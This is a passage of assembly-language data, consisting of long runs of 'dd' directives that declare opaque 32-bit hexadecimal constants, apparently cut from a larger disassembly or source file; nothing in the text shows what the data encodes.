0A927263h dd 8F24F703h, 9AFBD384h, 0C996C09Ah, 2BC800BDh, 0B16E5E5Ah dd 903F6457h, 0D79F0076h, 46684B1Ah, 0E061018Fh, 0E1BC2334h dd 70FD3C21h, 84B2B300h, 609473D2h, 0BAE83C07h, 0FB8E6403h dd 72B89616h, 6100BE48h, 27FD132Fh, 0FB795FAh, 0E57FC5B4h dd 0F4A89Fh, 0FD2D7966h, 7E0ACCE2h, 0A4A23Dh, 0B40448DBh dd 4A615129h, 0C1FD1F07h, 0CB9196Ch, 0A1673083h, 0EC3FD707h dd 86D03AB1h, 7115169Bh, 0BD901F6h, 0D096015Dh, 0AF408042h dd 0F0E36D32h, 0EDFC00F4h, 921BB848h, 3B006526h, 0FE6F4AEBh dd 0DD8566h, 0D4FDB4A6h, 576D6890h, 0E1C0B302h, 0E099367Eh dd 79AFEC4h, 639FA0E6h, 38FB76DEh, 820089FCh, 0EA3561E1h dd 0C0DCE76Ah, 5DD7A318h, 2224082Eh, 58004718h, 9639E4BAh dd 0FC8E3093h, 63AAB268h, 0AD874000h, 0E6D78661h, 0F5ECA6h dd 0A32162F6h, 700E01D2h, 58E7D030h, 3FEEDCEBh, 45807535h dd 4911933Ch, 0E30F82CBh, 0A21636D3h, 4020A1DFh, 4FDD50h dd 1F8789Eh, 6B2A2619h, 0DE07C0F0h, 1109D0E7h, 24804BD7h dd 3ADD42h, 0BAB05F69h, 57B3B1E8h, 805A483Ch, 0B621BF83h dd 0BA317F4h, 20A098C3h, 96C9718Fh, 2300440Fh, 51EC992Eh dd 800108C0h, 0A3E31CD7h, 6B7FF110h, 2E613981h, 0CCF4FE36h dd 0AB2CE278h, 63026433h, 60F8434Eh, 0C715250Eh, 80603412h dd 0DA9DD1A2h, 1424AF01h, 86B79199h, 9F205883h, 81D7D48Dh dd 6401B4B8h, 0F81CFC24h, 4EC06516h, 953E5FB5h, 4D5B0070h dd 98919743h, 6FECC702h, 1952DC00h, 0E62EFB54h, 0FD990196h dd 2B7AF2D7h, 51BDB7h, 7E56C6E8h, 3F8653A0h, 0FB9302B0h dd 2D9FE0C3h, 8700CEEEh, 0C199EDA3h, 2C5DC94Bh, 651941h dd 0D16A43B7h, 0ED0073AAh, 8411FB8Dh, 41E23Dh, 0CF018F81h dd 371EEA92h, 0BCF83E00h, 0E4D543B5h, 0EFBF0E2Ah, 420AB79h dd 0DBA4525Fh, 0C3016471h, 0FAD59D24h, 0E1FB80F5h, 0C76087C2h dd 0D18C01CFh, 7F853A57h, 39C08B1Dh, 0E8CB0015h, 608B6Ah dd 7407F706h, 0E98D4D7Fh, 939D270Ch, 2FA2070h, 0F8F21628h dd 20967C49h, 2B9D523h, 59EAA40Eh, 409CF0A0h, 3DF8B52Ah dd 6DA6E406h, 3008DF91h, 60200217h, 942648FBh, 0CD03F0BBh dd 0E1D05DAAh, 6022DA46h, 0E1B29A00h, 0D73D82D4h, 0AB77A40Eh dd 0FCCD8AD6h, 0E737E480h, 138CE1Eh, 3AFAC4E8h, 70F11667h dd 9D39860Bh, 40DCA4A1h, 0E040058Fh, 156BBC3Ch, 77AD008Fh dd 0E39D25F3h, 6A06EBF1h, 8E3479F7h, 180E7431h, 11018AB5h dd 6E388D40h, 87FEBA5Bh dd 8B464EB4h, 21E246h, 0D86EE5DFh, 0D5329D88h, 709FFB15h dd 2AC31888h, 1FF27F9h, 920BE581h, 0DC8C6038h, 337EACDBh dd 572FE8A0h, 7A806954h, 0F8995D28h, 0BA431018h, 41F51621h dd 0D39801E1h, 4990CB8h, 0B59F29E3h, 20D132D6h, 0B0E71F35h dd 78E9AC04h, 0E494E294h, 3E10BC3Ah, 57B0C29Dh, 2845E00Eh dd 6B9A034Ah, 5C5312C9h, 0F903758Bh, 5109A326h, 0BC110088h dd 0F48F5FE9h, 860E44EEh, 863F662Bh, 7020A3C8h, 0C25E09EBh dd 2420BD54h, 868D268Ah, 0A04D598h, 7ACFA412h, 0BFEA7381h dd 26AF2DC4h, 189B13h, 58DC3424h, 0E937AA16h, 902AD86Ah dd 2AE18CC0h, 30AD469Fh, 91BAD93Bh, 500B00E1h, 0E6E3C144h dd 830A3CB8h, 0C6975530h, 9DBC1102h, 4744CB3h, 3D22481Fh dd 2029623Ch, 5348C785h, 8169F000h, 6CC656D3h, 9390C0E2h dd 4BF14A18h, 85364Ch, 0F63E439Ah, 2888978Ch, 0E1DC838Bh dd 167BAC40h, 94AB559Fh, 0C8038E60h, 5D9FA588h, 84876B4Ah dd 0CFD5279Dh, 415B80BCh, 425EF48Dh, 0D205C036h, 91C47B5Fh dd 0DD1D0054h, 0ADA2680Bh, 0A6AD901h, 0AE7C94A4h, 48D47C40h dd 743F26B5h, 207C20ACh, 1600019Ah, 0EB0B48FCh, 7D5623Eh dd 2C6C730Dh, 0A8A4A967h, 0AD9C9031h, 0DC00AB2Bh, 533F7716h dd 3B89BBF7h, 808E2E3Ah, 0D0D97A96h, 45F18D3h, 0FEF4F941h dd 0A1E03189h, 5FD18005h, 7F00BB5Ch, 55C99E26h, 0C41B456h dd 0DB62CAAAh, 0F800BD29h, 1DC366FDh, 0F34D90h, 0E03860DDh dd 8A0D2982h, 0DC1E5D00h, 3127F41Ch, 4C9B059Fh, 407DAC57h dd 6909A084h, 0F2585DD6h, 0B36201ABh, 44A6EE70h, 8CD24020h dd 945B65Ch, 18E81D9Fh, 819CF340h, 32873EC8h, 0A0417602h dd 6BFDAEC4h, 0D63A005Fh, 3ECE49CCh, 0BF01C854h, 6381958Ah dd 834C994h, 0A5A00056h, 2AFB75CAh, 5CF04598h, 76F87A0Bh dd 9C4900FEh, 48FC44BCh, 51BCCC43h, 0AB3DA143h, 7630C93h dd 0C2605A43h, 90668C1Ah, 4E6EDC02h, 198B565Bh, 942A102Fh dd 8F910071h, 3F95DBEEh, 0FC30796Dh, 5DBA20B5h, 317D00B1h dd 35830257h, 0FC9C4920h, 0AACAFA02h, 0EA80C054h, 7B020D4Ch dd 23580969h, 9CF6E160h, 0F000030Ch, 8FF2C7C4h, 626FF3h dd 0B3E31EA4h, 95AF1BEAh, 8BECC90Ch, 7569CDh, 0C3F6A32Bh dd 9344D89h, 63E9DA05h, 0EEC08371h, 0E893B2F0h, 1BF901F2h dd 466CE6D4h, 2F1424A2h, 93E7B306h, 44592A5Ah, 75010A95h dd 5D2ECEBAh, 8C229EDFh, 50885300h, 0A7D055CAh, 6E0A7200h dd 86080CE2h, 41DE0223h, 60C5E9E0h, 96E454C5h, 0ACA44A60h dd 9E17D005h, 0F447E67Fh, 45D07E4Eh, 7B66Eh, 0F19F10FFh dd 318887Ch, 0FDC47800h, 7FCB609Dh, 0D7BCA0CCh, 0B50486B8h dd 0D5823DE1h, 0F8B08964h, 8907E71Ah, 49CD87AEh, 580DA2A0h dd 57BD2847h, 0DB1810B8h, 81360002h, 5626E050h, 1277305Ah dd 0E5282518h, 0D3F1D00h, 3890D357h, 50F30006h, 0B3525116h dd 1C7CEA43h, 78C9EE00h, 0CA82968Eh, 0B6BD0368h, 0FD34625Ah dd 403637A7h, 2BAB10D1h, 92C06501h, 0CF7949C1h, 0F0A474ECh dd 0EC8A00B7h, 35321997h, 25FAEDB1h, 0B055373Fh, 7C234860h dd 3E5B7DB8h, 0AF000FEBh, 4ED3B408h, 0A03301Dh, 0BF274B31h dd 7D380BD2h, 0F30CB6A4h, 40EEC548h, 1A3AE103h, 0E37FA79h dd 2308B690h, 6902E6C0h, 4F7966FEh, 0B1350330h, 0C6AE774h dd 0C7133859h, 15F8EF91h, 359196Fh, 0D8F369DDh, 33163DBAh dd 0A909AF4Bh, 0C100217Bh, 0FE38E0F3h, 203CDACh, 0F7BDC83Ah dd 90A663E5h, 0D90091EDh, 0FCDCFA9Eh, 152A4E4h, 48E26591h dd 8F462F7Fh, 0A0BFEB51h, 5A75C38Ah, 0F8EC3FB1h, 22F7700Ah dd 258F87B8h, 1150E694h, 7AA2710Eh, 6A7C40EAh, 74365281h dd 508C6065h, 741592FDh, 7A54FB00h, 3D5FFF09h, 14B70588h dd 40CB3273h, 44AFFDA8h, 5400B6DFh, 0B88B2A2Ch, 0BBC99h dd 0A3FCD04Ah, 0FACA8753h, 81123Ch, 802EB64Bh, 0F30309h dd 741C8E0Fh, 353AB2BDh, 0C900C6ECh, 36A0220Ch, 1403C59h dd 0B59826B6h, 810E3DFFh, 5FCCF426h, 0F1D43B0Fh, 32680072h dd 8AEE942Bh, 85242EFCh, 5800B629h, 0DB1E797Bh, 93ECEBD6h dd 8C960072h, 6EAB2EC8h, 84003EC2h, 35682FCFh, 336F6Ah dd 0F9F725EEh, 8E2B4166h, 201E7A00h, 11DFBA15h, 0C5CF3DFCh dd 6834A180h, 0CA4F5D41h, 2D8CEF00h, 8D54BD57h, 0E92C0035h dd 1B58862Eh, 0E200E3F1h, 935B6C11h, 8210ECh, 0D89A4232h dd 8E86A90Ah, 0C9FB4607h, 6F70D32Fh, 7A10392Bh, 8962003Bh dd 9E747177h, 0B703DFB5h, 9DD6846Ch, 0EA400044h, 621E2DCAh dd 0CC38D74Dh, 0C7110622h, 80D0A8h, 44D38B98h, 9B950A6h dd 805C023Dh, 9A400D4Ah, 0FC12A3F9h, 98E20087h, 0E7513E9Eh dd 5919C75Fh, 14C0287Fh, 5B4A20h, 80B469E8h, 0BEF93C9Ch dd 0C6385302h, 90543B0Ah, 1E8CDC0h, 3944808Bh, 173944Bh dd 0E0519A84h, 10F97150h, 0C79DCh, 1DA9065Dh, 0B682196h dd 4D07047Bh, 0E7458E1Ah, 4E157B50h, 291EF8FEh, 0C0B6B5h dd 0DAE34679h, 0DC00EBE0h, 6F7D0E7h, 40CE7Fh, 364E1ABDh dd 2168F697h, 0BA0B020Ch, 729AC9Dh, 0EB46C35h, 804020CEh dd 0CA001CD8h, 3251534Fh, 0E0FE664Bh, 0E3A90014h, 7170FD4h dd 1D001654h, 0E6EB9825h, 0A2AF15h, 0FBF90206h, 0E0DE8348h dd 60D9B600h, 72233146h, 0CA850017h, 0E7E8D11Dh, 5A071271h dd 0F1D71B26h, 0E6E99AA0h, 0B93A002Eh, 0C3D47601h, 620E2136h dd 818C1548h, 39F5D565h, 51EECCh, 2841FC57h, 637D02ABh dd 0C9E9AF00h, 23F27927h, 65070001h, 407EC6CDh, 32003D13h dd 0D719F310h, 161A2Eh, 6C9E652Fh, 204EA422h, 0C7299100h dd 0AD8C14D2h, 4C021FBAh, 1866A8h, 0BD38D19Ch, 2C0E4D06h dd 0A629A4h, 5E70484Ch, 91A02D2Fh, 7A3AC3D0h, 0B1D6261Bh dd 0E7154C00h, 3389F5Eh, 0F192393Ch, 0BA0ECE2h, 0AB014013h dd 0CFB465A1h, 0ECB0C19h, 0E91B3D71h, 54F986C0h, 8D63E838h dd 3A5008h, 2E3BC020h, 0C2BBBA7Ch, 3261200h, 37F1D199h dd 957600DEh, 82398734h, 1BE847D0h, 2A8E203h, 0B81E6A51h dd 60B14243h, 0B2A3C074h, 600027CAh, 0E18CD25Fh, 0E212D9h dd 222464BDh, 0CFFF4AA9h, 0A01D20C0h, 532E7D05h, 0CC822014h dd 21AE79Bh, 18922B98h, 40085E6Fh, 642809A0h, 0CE1A40DCh dd 605B5Eh, 0F88B53C4h, 3ACF0216h, 0EC59B403h, 0C1B177A5h dd 400C2D4Ah, 84762E02h, 103949A1h, 5B803361h, 0C52E0068h dd 7B88C1F8h, 18C366D8h, 26A31Dh, 0B5CE7C99h, 5C2CC97Eh dd 0B8A84B00h, 36428505h, 0D45A50F3h, 392E6535h, 12047E4Ch dd 30403D83h, 2EBD7823h, 9951F79h, 0C70F4037h, 480829DAh dd 3C6C6E3Eh, 0CFB98F63h, 83078FF5h, 0E0DB1509h, 28119B1Dh dd 0C2C8C8Bh, 0EC26CD1Fh, 7F10D151h, 7B060E12h, 298C0557h dd 9C42BD00h, 0D85FAFD6h, 748F0004h, 0AE47E218h, 443AD139h dd 0AB50830Fh, 2A87F42Dh, 20601461h, 51051F73h, 0A5E8A95Dh dd 5C01A412h, 3A4294EDh, 102FF07Ah, 5706B52h, 0DAC41FCBh dd 2B3045C0h, 0E3C100CAh, 5C40F9A9h, 359057C7h, 0FEE38083h dd 0D07B85E0h, 5639B006h, 0A81D54Eh, 6A6B65F9h, 858CA4Ch dd 6E018A6Fh, 331373Fh, 5E77A88Fh, 3FA490FEh, 4EC041Fh dd 64143309h, 14E8C610h, 0BAF45B66h, 3AB0447h, 0FF804523h dd 8EA78A8Bh, 0B8E004B0h dd 0E3835880h, 0F0B003Bh, 0C79AA1B6h, 5E017F98h, 317D7B2h dd 0F8434512h, 1113C383h, 11955C29h, 4D08BA82h, 0AB081C46h dd 0E31280B1h, 67F957Ah, 972710F7h, 42FF8023h, 402F3388h dd 34884A79h, 0FF050014h, 7991DC3h, 0F5023EAAh, 0B8AB4B3Dh dd 0E1A3C0FDh, 0C7F4A8h, 22E521C8h, 6836EFC4h, 85A9F03h dd 805F6F24h, 7B0E2A35h, 0A14F0006h, 5339B931h, 0BC3AA528h dd 6A8C0054h, 89CA9165h, 49E90004h, 0C05AD2D9h, 4F139E30h dd 0D60013E5h, 3E20C81h, 0B35300A6h, 4EF79767h, 0FC00BFA8h dd 463A2447h, 7A042676h, 0E0F4E54Dh, 0A0F63F9Ch, 59609580h dd 6CB038CBh, 1C43300h, 829BA14Bh, 1BDD0EB4h, 1D5EC6A6h dd 0B2994055h, 98D2BAD3h, 0DF97D707h, 0D729641h, 0C4E8804Fh dd 0F087AEh, 0E4946F14h, 887D9BB3h, 0CC31150Ch, 0BA48BDh dd 5DED6635h, 52430FC7h, 631DC101h, 3AA20D96h, 5B9CDB00h dd 0C2AE39h, 8A59D5D4h, 5A1045h, 0D6EB0205h, 34093927h dd 353C4100h, 966AE3F2h, 70321D4Bh, 0FE303C16h, 0A55ADAD8h dd 6A0314EAh, 0E94D55FAh, 288EC8h, 8CA8110Dh, 5488A744h dd 0E83DEE00h, 406F4B99h, 0FCC20016h, 1759791Bh, 0E000880Dh dd 0FA4CD843h, 0E48E6292h, 154B1CAFh, 0A870007h, 3457E530h dd 0F51D9F00h, 64F44751h, 7413004Bh, 7EAAA69h, 0B800DF04h dd 0D992F246h, 7631CCBh, 0D27583F7h, 3F898B58h, 8F654A80h dd 8400A05Dh, 0AD0F8562h, 1266ABC8h, 231834Eh, 6D18A894h dd 9256407Dh, 89430049h, 0FBDCA0B1h, 2800D37Ch, 2112B8AAh dd 0AD10Eh, 0BC2B4C25h, 7ED46D4h, 2DA18E00h, 79D5933Bh dd 0C7550001h, 91664583h, 0F5B0A541h, 5082CA12h, 0A870D000h dd 16A36B2Bh, 0F7D267h, 3AF782Dh, 1E003877h, 428F862h dd 5CDCF2CAh, 7400DF07h, 0CD2592EBh, 9B00A878h, 3B6C5C9Ch dd 394791DEh, 0C1B09751h, 3DA7FA11h, 80C2EE3Ah, 14373CF6h dd 89509Fh, 38C1CC9Ah, 1546307Dh, 4152AC00h, 0BB080F4Dh dd 3AC40017h, 0C62C40F5h, 0A700A4BAh, 125D23BCh, 5FA1C7h dd 19D2FE3Dh, 1AE50342h, 0A6108107h, 0CA40ABACh, 0FC147E7Fh dd 5306008Ah, 0CD86B92Ah, 0CC006005h, 198325A5h, 0D47EEEh dd 424D7877h, 4E1BEF22h, 80F8F600h, 0B9ED2E1Ah, 10F60Dh dd 64524663h, 844CD2E0h, 0D8FED400h, 8CDD781Fh, 0E1130762h dd 0AEC0B012h, 0CBB52060h, 53004F8Dh, 886FF689h, 65440Dh dd 98CDE755h, 15B1F9ABh, 677BEB01h, 6AB44217h, 0B2D08DC9h dd 5780008Ch, 4DD8F451h, 0DD00E61Fh, 0E80ED29Dh, 697C10h dd 0AF123E1Bh, 86ECCC92h, 0F7581D00h, 5A8572ACh, 9DACA4D8h dd 0D2C97FC0h, 4B71A00h, 0AEBD9B73h, 44A80007h, 4EF2B351h dd 8D61B0CFh, 986A7118h, 7A828F0h, 8BA53F75h, 7A08B09Dh dd 0E3797460h, 4F3A2660h, 7D9A33h, 9BDBDA2Ch, 0B1C3F5F1h dd 39140403h, 807F46EDh, 7755E5F9h, 78B80038h, 0ACBA8F47h dd 0D298DEC9h, 0DFA0DA1Ch, 2CD99900h, 0B0AD3h, 0E608214Bh dd 0EFB8687Dh, 93DB1A07h, 0D440BC1Bh, 575039h, 0A78E1E7Eh dd 0E945AFB4h, 80B61738h, 0B37A7BA5h, 7B1AA00Ch, 1EDAEA6Dh dd 80B9A3ABh, 5A7030B5h, 8200610Fh, 678E2947h, 0EC7C5D53h dd 0FBA60092h, 8A6D0822h, 5507499Ch, 0E2E1CC7Eh, 0CB6631F0h dd 0E733003Ch, 67869BC0h, 8C1E7C16h, 91C19211h, 938EBC70h dd 5C9AB1E4h, 0AB009709h, 0DC77349Dh, 3B046A0Dh, 5505BEB2h dd 0A0E37080h, 6EB8B8h, 53CE1184h, 501F8273h, 8A127B0Bh dd 0B67080B7h, 0EE31381Eh, 0D53000A3h, 0C8B17E22h, 30539BAh dd 0FBD3D697h, 25E17D80h, 9CE290h, 893B1444h, 0CF4AFE87h dd 210EA003h, 980ABA9Eh, 119173Eh, 3684C07Bh, 0DC80E80Fh dd 93EE244Dh, 1EC81E4Ch, 0DB00D2D8h, 0F8DACCBCh, 32BE0073h dd 0E542350Eh, 0D900762Dh, 7EC27C83h, 0ED0B21h, 0DDDB05ACh dd 0A6C43DF4h, 0E6395D01h, 3087ADE8h, 0AC22D8h, 7A6206DBh dd 9D11831Eh, 0EA2B500h, 434FC85h, 731D1FCEh, 9CD58013h dd 8DA16865h, 7EB6D300h, 44D495C6h, 8FFB0AD7h, 0EEB7CADh dd 0AC271216h, 19E9E22Ah, 59788840h, 0F547101Dh, 0B0CD0D07h dd 0B1807F14h, 39C0FF49h, 0C050E4B2h, 6A0203C1h, 32B62FA8h dd 0A98ABBB8h, 0B5B0D203h, 9019762Ah, 906C37h, 66C11448h dd 0BD98F227h, 700F0872h, 20635ED6h, 4EB9F175h, 0A7F70620h dd 604F8EA0h, 0A816DD00h, 7EF2E171h, 6E40C3C4h, 8100E225h dd 0D55B30FFh, 4CF6380h, 810AC64Bh, 7B18C255h, 783541DFh dd 0BD5020h, 0B2B005C5h, 0BE29D2AEh, 80408B3Bh, 87ED14D8h dd 0B15AB50h, 0F9A198FCh, 22BF1700h, 57076009h, 0F1FFA703h dd 0E7531341h, 2859D8h, 423D258Bh, 94FB8465h, 907F0A0Eh dd 0D256A010h, 1F05E339h, 1D0E91E4h, 0FB3F3E74h, 7A2D9381h dd 0E155A8FAh, 7576F4E9h, 97E88200h, 21026D89h, 9D8F001Dh dd 0E63DCE29h, 0F000CDD4h, 56C95336h, 3C1B33h, 2942603Bh dd 7B390E80h, 0A500B475h, 7A638670h, 15CF884h, 859BA461h dd 80E018B1h, 172BDFA8h, 25131Dh, 0F499D124h, 4B5460ACh dd 0B304DE0Eh, 7F4D426h, 0D54C378Ah, 5357AEF0h, 8B730023h dd 0EC5D6617h, 890F092Ch, 0C0C877FDh, 8D0AEA3Fh, 0B1DC00C6h dd 9462DB83h, 8F01089Dh, 349C9F6Fh, 0D0306D5Fh, 892400CEh dd 4FA986D0h, 0E602451Ch, 50CC164Ah, 0CD74C02Ah, 0BFDA00F2h dd 0BB3DB7FAh, 0CF7060A0h, 616C83Dh, 2EA4AAEFh, 0EC22005Eh dd 659AA019h, 0B0080E9h, 1F7614A1h, 3C73BBC3h, 3892FDFAh dd 0CD00026Fh, 0B840DC2Ch, 25017B66h, 0FB06CF37h, 23E86E09h dd 28D900B8h, 3AECD1C2h, 4B005583h, 0AFA43796h, 0EFC7E5Ch dd 9FE58E76h, 0A2DE4EC7h, 506010EAh, 68002D3Bh, 638ED709h dd 39F3EB58h, 2700AC81h, 0B41C5003h, 3077E151h, 64A25B01h dd 0E36BF9A9h, 0F0414EC0h, 0F27EEA0h, 35AF3B65h, 0A5EB3F82h dd 271A468h, 0AC16002h, 4155E2B9h, 0C031206Ch, 0EC382460h dd 90330091h, 0CD8FFE1Ch, 0A4A0A213h, 8E00669Dh, 0C15F83Bh dd 62715Dh, 1B8FEFC7h, 58BD67E2h, 76174902h, 4819F4CDh dd 983EBF0h, 0CB86160Dh, 76627C00h, 1940D489h, 2AF31314h dd 33440150h, 0D484AA0Bh, 137E4EA5h, 3ED1BC16h, 902A6400h dd 1F35EA50h, 0C771736Ch, 0EF2151A3h, 3864D280h, 0CF00037Eh dd 0D1A498AEh, 0C54F58Fh, 61CB1CE7h, 0B62B306h, 68A05590h dd 78BD6FCh, 36ACC6C8h, 4783F358h, 6503E800h, 0A03398CBh dd 0F4E60110h, 0C33AE9F8h, 5379ECFFh, 60D0B400h, 616D9DECh dd 0BBECA8h, 0CBC3FACh, 149C9652h, 4596F3Ah, 4F06FDF6h dd 44C65CC0h, 0C3D2E10Eh, 20C8B01Dh, 2DE40F3Ah, 0F6464518h dd 2B3E806Bh, 729D87B8h, 0F3F06F65h, 0F5CAD4h, 0F055E448h dd 0E0B688EAh, 31ECF703h, 0F1590A51h, 0C441408Ah, 4ACC87C9h dd 76BF00EAh, 0C67DDFE6h, 0A41C86C7h, 5D80D58Bh, 9B90341Bh dd 7600F62h, 0C0207A8Fh, 7C4E0449h, 76F86303h, 1C7927Eh dd 0BB5AA84h, 0D037C064h, 0D80E6BAFh, 204FE0A5h, 0E9C42DD7h dd 7E7F51h, 89B93448h, 57D06ABBh, 0AA526800h, 91E0B39Dh dd 6F1E00F6h, 1F25CCB5h, 0D3F238Bh, 0F279800Eh, 0A5B76628h dd 2A8402D7h, 3AC9EBE2h, 7CDB1843h, 183EB400h, 44336021h dd 26A000A5h, 3DCC2D10h, 0C501EFAAh, 309946ABh, 0C040E41Fh dd 0BD3286h, 0C6067AC9h dd 433B1DF2h, 1E365Ch, 0EBD52C57h, 981C8A5Fh, 9F45009Ch dd 0FF271068h, 0B000D329h, 537E1BEEh, 3236F8h, 0A952207Ch dd 825F7F5Dh, 0BA009090h, 6387DE78h, 4E3659h, 667B8C73h dd 48E02D12h, 8115C53Eh, 0F4A7F251h, 98B8EDDBh, 31AAC000h dd 80C9A46h, 0FB15CA07h, 58A09FECh, 90103963h, 84534854h dd 0B5DC8961h, 51982012h, 2257F300h, 0B3183F6Dh, 7C8912CFh dd 2A1C0101h, 0F5855228h, 20D1D15Fh, 0BC003580h, 3DDF83BEh dd 18630346h, 30263ED2h, 0A6005DBBh, 5056396Dh, 9F4C642h dd 0A775228Eh, 0A8C9E700h, 407E3CDFh, 1452B326h, 80875709h dd 168ADEB4h, 26430775h, 20C9CC7Ch, 2A4A847Eh, 2100657Eh dd 56E92C59h, 0D494Bh, 3E532B80h, 8729A002h, 0EA197807h dd 6B608EC0h, 0E09BC1C4h, 0B18F00D0h, 0F2AD8D58h, 7500EAB9h dd 605FA219h, 8569B2h, 3244E4B5h, 0DB3D51A5h, 96D33100h dd 0EA152158h, 0AB14007Fh, 78205BE9h, 0D81680F4h, 4C07FFF2h dd 7280B582h, 358AB9h, 85D56787h, 81EA8D2h, 79D5112h, 0EEA3816h dd 0D16081C3h, 0AE921DC6h, 0F043FC00h, 34D2213Fh, 0DC89032Ch dd 147E5B3Bh, 77F57801h, 1673B497h, 0A0F8F8h, 1DCFD56Ah dd 8E33F380h, 0D01B7E6h, 962ACA1Ch, 93C00F8Fh, 0BF580061h dd 6F27B01Fh, 4E5C111Eh, 70A04034h, 91ADA900h, 26F1BAEEh dd 0A53C003Dh, 3B87DFC4h, 4B1F37EBh, 0A9A668A6h, 0E9D7A000h dd 1C2D2865h, 0C099EE1Ch, 0E4225BECh, 0EF2ED504h, 6B04CCC1h dd 4CB25DFFh, 98CFE780h, 0FA7B38B7h, 297F9600h, 37DEF223h dd 38A449B3h, 0D77D4301h, 9D6E1AD3h, 6C034C10h, 0C09215C0h dd 0BA681340h, 0C81E5894h, 2071C187h, 0B7644597h, 0F90FC902h dd 0E8EBD021h, 0DB016B8h, 567D1B3Ah, 0D94C2010h, 0FBA2E202h dd 609407C8h, 7EC706E0h, 418C0F02h, 0C280F646h, 0DF05F50Fh dd 0ABEDBE03h, 98A0D747h, 743B1A3h, 66AE8A30h, 0B9AC003Fh dd 0F6099B55h, 0F046EFh, 92D4AA8Ch, 1F130010h, 8C8F5806h dd 3C07E475h, 50604DADh, 45100FD7h, 56778Ah, 0EA5964E2h dd 80A8712Bh, 92D56F00h, 12C981E7h, 3F05051Fh, 0BF447E58h dd 0FD49FB82h, 1A4287C0h, 5A12C498h, 0EC0080F3h, 58D85FA6h dd 0C3390024h, 7CDFFC9h, 7F4C342Eh, 0D28A0028h, 329C7C79h dd 0D8DB00CBh, 3A0B7251h, 8B8C277h, 1313B9F6h, 4F028998h dd 0E06630EBh, 0A87084h, 93628B9Fh, 0DB6CAF1Ah, 9C37A100h dd 7B16F955h, 144B050h, 83D58EE4h, 0E047EC36h, 0FB0041E9h dd 0E7ADB690h, 9DF7EBh, 4C6CD273h, 0A44D488h, 0E28B7A05h dd 48C8E0C0h, 9B2304E1h, 0C07564F2h, 29D22EF8h, 1600AC71h dd 12B03690h, 3B37DDAFh, 0A500F56Eh, 0EF467417h, 5500ACFFh dd 0C870A3E5h, 1FA7BFh, 0D03ED824h, 2A570D2Fh, 530E6300h dd 4FCA51C6h, 0FB6EEA6h, 52824032h, 0D76C1B20h, 5C00A333h dd 92F4E5B2h, 32143Dh, 31BBEA29h, 4EC04A45h, 5C8E1F00h dd 1B76F5D1h, 55680015h, 7ACF9DB7h, 0E0008D0Bh, 0EEAC7EA1h dd 2C4B118h, 0CE6EBBE4h, 60E8AAB9h, 0D707FF3Eh, 16E66C73h dd 26644049h, 0EEFA57h, 69984FA0h, 0E6CA1FFEh, 4A973Ah dd 29C91467h, 4D58BEh, 0DDD83E96h, 4BBFB442h, 0ED37A70Bh dd 381D015Ah, 28289427h, 607A8900h, 761F8106h, 7F01D0F4h dd 262E4B6Bh, 0F7E050A2h, 0DBDA0575h, 0D046E74Ch, 0D40A5368h dd 0ED0E5572h, 0DDDC8E0Fh, 0BD42E500h, 1DBCBF57h, 7B0EF606h dd 857CEA1Ch, 0C1946EB3h, 0E98566ADh, 0D938D4F3h, 0D6C31400h dd 765E7C1Ah, 17BFC84h, 0F8ABB71Ch, 82056755h, 3A466F71h dd 0A690A0A8h, 0F8FD1D8Fh, 0C66200C1h, 35637666h, 6CA94B27h dd 14A80715h, 8B064D2h, 209A4BACh, 0A68F2200h, 29D82F47h dd 0E62D0758h, 4E6623F2h, 78D70A40h, 0A400BC56h, 5717E821h dd 0B41C2Bh, 66945058h, 130CA682h, 0E700AF76h, 816DB02Fh dd 0DA8CC0h, 4B30F4EEh, 0EBC2B170h, 0ED5253Ah, 605F593Dh dd 0D360D762h, 0A3BC0006h, 10E92858h, 0CEF86ABEh, 5966D819h dd 6C2CB718h, 45044D03h, 0B878512Ah, 3A99B300h, 1A75DE6Ch dd 4A260553h, 4017560Fh, 35511598h, 0D21A97F9h, 2358B9F0h dd 0A05D8980h, 3CFA3165h, 1B0150A1h, 60999069h, 0F805D4E6h dd 7C089566h, 879831h, 2E174E96h, 8F8593FBh, 7BCAEB1Fh dd 5980CD0Ch, 517000A9h, 76B7D06Eh, 2F66F307h, 7121AE08h dd 83510E48h, 87C09877h, 0FB0AFCF4h, 0E8DD2851h, 8A3BAC16h dd 583695EBh, 8B9C05D0h, 38187C9Ah, 0FDE0FA28h, 0BBCDE0h dd 7749B836h, 7EDBCE6Ah, 0FC5C7677h, 74221DE7h, 370CC4Bh dd 0E88DF124h, 1F8BA0A1h, 0CFC6687Dh, 30801610h, 3FB13540h dd 3272D20Eh, 0CFDC8025h, 3520D9Dh, 21F69E97h, 6AC80AC1h dd 7000C6ADh, 78EA1F4Fh, 4B3EEFh, 0AF838DE8h, 6BC355A0h dd 7F628800h, 1857AEEDh, 6C28C0E0h, 0AB750347h, 1F6E5200h dd 0B441C426h, 5E3800D5h, 9943BADEh, 2707DB84h, 1B58CC12h dd 6D2D7A90h, 0EB890ABh, 5CD94A93h, 831AF867h, 10007E97h dd 9F49A6ECh, 60BA0590h, 0F502302Fh, 3004827h, 0D7ECDCF7h dd 0F178D809h, 8170C3EBh, 0D2F81CD9h, 0A11300DBh, 42140E67h dd 3000AC36h, 0AFCD81F6h, 61FE5Bh, 607C7886h, 88967BB6h dd 97B38F00h, 0FFAB3FDDh, 7880009Bh, 9A6A45C2h, 0E00696Fh dd 77C0C609h, 9161A5h, 90923E86h, 4C264D28h, 14839400h dd 58DE1D54h, 0B26500FAh, 0CE6CA95Ah, 6F01BD7Ah, 80DA7C7Dh dd 870D318h, 42F057h, 0A16391A7h, 0CEBDDDEFh, 5ADF4E00h dd 3C3315F8h, 6980005Eh, 14D189C2h, 50138631h, 9B0FE9CFh dd 0DA08A045h, 0ECB8071Ch, 0CEC51CD3h, 80F08061h, 77E8AB5Dh dd 0C001AB8h, 651B53F4h, 0E45826Dh, 1283223Dh, 20EBF5E0h dd 7B008768h, 4F21B9E9h, 0ECC7C50h, 97190E18h, 0AA810F80h dd 7AF81073h, 0E3681400h, 17C33094h, 1DF903BDh, 0CF1B655Bh dd 0E953C8A0h, 0F204CDF8h, 67B37208h, 2B621180h, 46F86Dh dd 0B987342Ah, 7CC6DB7Bh, 4A3BB807h, 7670B618h, 0A0219Ch dd 3687449Fh, 24776526h, 30613100h, 98F65CF3h, 9BDE0ACDh dd 4AB8021h, 0C6B10379h, 7D2228B9h, 547E2240h, 8A110C42h dd 3F69114Ch, 21C1BE11h, 40A238B8h, 438A2572h, 0A4290838h dd 0F9146CF5h, 3CA07128h, 1088F426h, 242F88C0h, 0A00D7B40h dd 8BC62214h, 116222BCh, 2EF50939h, 67108812h, 32F58827h 